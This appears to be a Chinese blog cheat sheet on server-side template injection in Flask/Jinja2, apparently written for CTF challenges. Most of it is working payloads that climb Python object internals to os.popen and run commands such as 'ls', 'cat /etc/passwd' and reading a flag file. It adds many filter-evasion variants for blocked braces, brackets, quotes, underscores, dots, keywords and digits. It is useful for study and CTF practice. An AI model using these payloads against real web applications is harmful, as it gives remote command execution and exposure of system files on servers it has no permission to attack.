ssti模板注入

查看提示和源代码 扫描后台拿信息 F12 传参跳转 uri unicode 16位编码
SSTI是服务器端的模板注入。比如python中的flask、php的thinkphp、java的spring等框架一般都采用MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。
{{7*'7'}}
[].__class__.__mro__[-1].__subclasses__()[40]   检测python的版本
在python3中subclasses()里面是没有type file的
{{config}}
{{[].__class__.__bases__[0].__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__(%27os%27).popen(%27dir%27).read()")}}
{{[].__class__.__bases__[0].__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__(%27os%27).popen(%27ls /flasklight%27).read()")}}
{{[].__class__.__bases__[0].__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__(%27os%27).popen(%27cat /flasklight/coomme_geeeett_youur_flek%27).read()")}}
__class__查看当前类
__base__查看上一类
__mro__查看所有类
__subclasses__()查看当前类的所有子类
{{7*7}}
{{".__class__}}
{{".__class__.__base__}}
{{".__class__.__base__.__subclasses__()}}
__init__对所有模块进行初始化
{{".__class__,__base__.__subclasses__()[117].__init__}}
用globals查看有哪些可使用的方法函数
{{".__class__.__base__.__subclasses__()[117].__init__.__globals__}}   查看全部全局变量,有哪些可以使用的方法函数等
查看回显后,发现有popen(         )函数可以利用,这是个命令执行的函数。{{''.__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('cat /etc/passwd').read()}}
注意:需要加上read函数才能将内容显示出来
WAF绕过
当双大括号被过滤的时候,就可以用{%%}进行绕过
{%%}是属于flask的控制语句,且以{%end...%}结尾可以通过在控制语句定义变量或者写循环,判断
首先,判断语句是否执行{% if 2>1 %}123{%endif%}如果if语句成立,那么输出123通过这个我们就可以判断我们输入的payload是否成立,例如

{% if ‘’.__class__ %}123{%endif%}

因为回显了123,所以这个payload是成立的

{% if ''.__class__.__base__.__subclasses__()[156].__init__.__globals__['popen']('ls')%}123{%endif%}

虽然payload是执行了,但是我们真正想要的并不是看有没有回显123,而是看回显内容,我们就需要将if改为print()即可

{%print(''.__class__.__base__.__subclasses__()[156].__init__.__globals__['popen']('echo 1').read())%}
中括号过滤:
__getitem__()魔术方法

getitem()是python的一个魔法方法,

对字典使用时,传入字符串,返回字典相应键所对应的值,

当对列表使用时,传入整数返回列表对应索引的值。

绕过中括号就得用到这个魔术方法

原始payload:

code={{''.__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('ls').read()}}

修改后的payload:

code={{''.__class__.__base__.__subclasses__().__getitem__(133).__init__.__globals__.__getitem__('popen')('ls').read()}}

单双引号过滤

request

request在flask中可以访问基于 HTTP 请求传递的所有信息

此request并非python的函数,而是在flask内部的函数

关于request的用法呢主要如下

以request.args.key为例

原payload:

{{().__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('ls').read()}}

修改后payload:

Get内容:

?popen=popen&cmd=ls

Post内容:

{{().__class__.__base__.__subclasses__()[133].__init__.__globals__[request.args.popen](request.args.cmd).read()}}

下划线过滤

通过过滤器过滤

下划线绕过时主要用到attr()过滤器

原payload:

{{().__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('ls').read()}}

修改后payload:

Get内容:

?class=__class__&base=__base__&subclasses=__subclasses__&getitem=__getitem__&init=__init__&globals=__globals__&read=read

Post内容:

{{''|attr(request.args.class)|attr(request.args.base)|attr(request.args.subclasses)()|attr(request.args.getitem)(133)|attr(request.args.init)|attr(request.args.globals)|attr(request.args.getitem)('popen')('ls')|attr(request.args.read)()}}

绕过下划线也可以用unicode加密绕过

原payload:

{{().__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('ls').read()}}

修改后payload:

{{()|attr('\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f')|attr('\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f')|attr('\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f')()|attr('\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f')(133)|attr('\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f')|attr('\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f')|attr('\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f')('popen')('ls')|attr('read')()}}

只需要将过滤内容进行unicode加密即可

绕过下划线也可以用16位编码绕过绕过

__编码之后为\x5f\x5f,将\x5f\x5f代替__即可

原payload:

{{().__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('ls').read()}}

修改后payload:

{{''['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[133]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['popen']('ls').read()}}

值得注意的是需要将内容用中括号包裹起来

点过滤

可以用sttr()过滤,也可以用中括号绕过点

原payload:

{{().__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('ls').read()}}

修改后payload:

{{''['__class__']['__base__']['__subclasses__']()[133]['__init__']['__globals__']['popen']('ls')['read']()}}

关键字过滤

过滤了"class""arg""form""value""int""global"等关键字

以class为例

    字符编码
    最简单拼接"+":'__cl'+'ass__'
    使用Jinjia2中的"~"进行拼接:{%set a="__cla"%}{%set b="ss__"%}{{a~b}}
    使用过滤器(reverse反转、replace替换、join拼接等):

{%set a=”__ssalc__”|reverse%}{{a}}

    使用python的char():

{%setchr=url_for.__globals__[‘__builtins__’].chr%}{{“”[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(95)%2bchr(95)]}}

举例:

原payload:

{{().__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('ls').read()}}

修改后payload:

{{''['__cla'+'ss__']['__ba'+'se__']['__subcl'+'asses__']()[133]['__in'+'it__']['__glo'+'bals__']['po'+'pen']('ls')['read']()}}

原payload:

{{().__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('ls').read()}}

修改后payload:

{%set a='__cla'%}{%set b='ss__'%}{%set c='__ba'%}{%set d='se__'%}{%set e='__subcla'%}{%set f='sses__'%}{%set g='__in'%}{%set h='it__'%}{%set i='__glo'%}{%set j='bals__'%}{%set k='pop'%}{%set l='en'%}{{''[a~b][c~d][e~f]()[133][g~h][i~j][k~l]('ls')['read']()}}

原payload:

{{().__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('ls').read()}}

修改后payload:

{%set a='__ssalc__'|reverse%}{%set b='__esab__'|reverse%}{% set c='__sessalcbus__'|reverse%}{%set d='__tini__'|reverse%}{%set e='__slabolg__'|reverse%}{%set f='nepop'|reverse%}{{''[a][b][c]()[133][d][e][f]('ls')['read']()}}

数字过滤

使用length过滤器过滤

原payload:

{{().__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('ls').read()}}

修改后payload:

{%set a='aaaaaaaaaa'|length*'aaaaaaaaaaaaa'|length+'aaa'|length%}{{''.__class__.__base__.__subclasses__()[a].__init__.__globals__['popen']('ls').read()}}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值